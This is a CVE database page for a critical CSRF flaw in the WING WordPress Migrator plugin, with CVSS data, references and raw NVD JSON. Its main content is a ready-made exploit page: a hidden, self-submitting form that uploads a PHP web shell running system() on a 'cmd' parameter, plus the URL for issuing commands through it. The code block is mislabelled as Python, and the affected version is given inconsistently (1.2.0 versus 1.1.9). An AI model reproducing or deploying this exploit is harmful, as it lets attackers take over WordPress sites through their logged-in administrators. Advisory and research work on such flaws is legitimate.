CVE-2025-52835

Description

Cross-Site Request Forgery (CSRF) vulnerability in ConoHa by GMO WING WordPress Migrator wing-migrator allows Upload a Web Shell to a Web Server.This issue affects WING WordPress Migrator: from n/a through <= 1.2.0.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WING WordPress Migrator <= 1.2.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-52835: WING WordPress Migrator Web Shell Upload -->
<html>
<body>
  <h2>CVE-2025-52835 CSRF PoC</h2>
  <p>WING WordPress Migrator <= 1.2.0 Web Shell Upload via CSRF</p>
  
  <form id="exploitForm" action="http://target-site/wp-admin/admin.php?page=wing_migrator" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="action" value="upload" />
    <input type="hidden" name="import_file" value="" />
    <input type="file" name="import_file" id="maliciousFile" style="display:none;" />
  </form>

  <script>
    // Generate malicious PHP web shell
    const webShellContent = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>';
    const blob = new Blob([webShellContent], { type: 'text/php' });
    const file = new File([blob], 'shell.php', { type: 'text/php' });
    
    // Set the file to the input element
    const fileInput = document.getElementById('maliciousFile');
    const dataTransfer = new DataTransfer();
    dataTransfer.items.add(file);
    fileInput.files = dataTransfer.files;
    
    // Auto-submit the form
    document.getElementById('exploitForm').submit();
  </script>
  
  <p>If shell uploaded successfully, access: http://target-site/wp-content/uploads/wing-migrator/shell.php?cmd=whoami</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52835
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52835
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52835/
[4] VulDB https://vuldb.com/cve/CVE-2025-52835
[5] https://patchstack.com/database/Wordpress/Plugin/wing-migrator/vulnerability/wordpress-wing-wordpress-migrator-plugin-1-1-9-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-52835", "sourceIdentifier": "[email protected]", "published": "2025-12-30T17:15:42.203", "lastModified": "2026-04-23T15:32:15.833", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in ConoHa by GMO WING WordPress Migrator wing-migrator allows Upload a Web Shell to a Web Server.This issue affects WING WordPress Migrator: from n/a through <= 1.2.0."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en ConoHa by GMO WING WordPress Migrator permite la carga de un shell web a un servidor web. Este problema afecta a WING WordPress Migrator: desde n/a hasta 1.1.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wing-migrator/vulnerability/wordpress-wing-wordpress-migrator-plugin-1-1-9-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}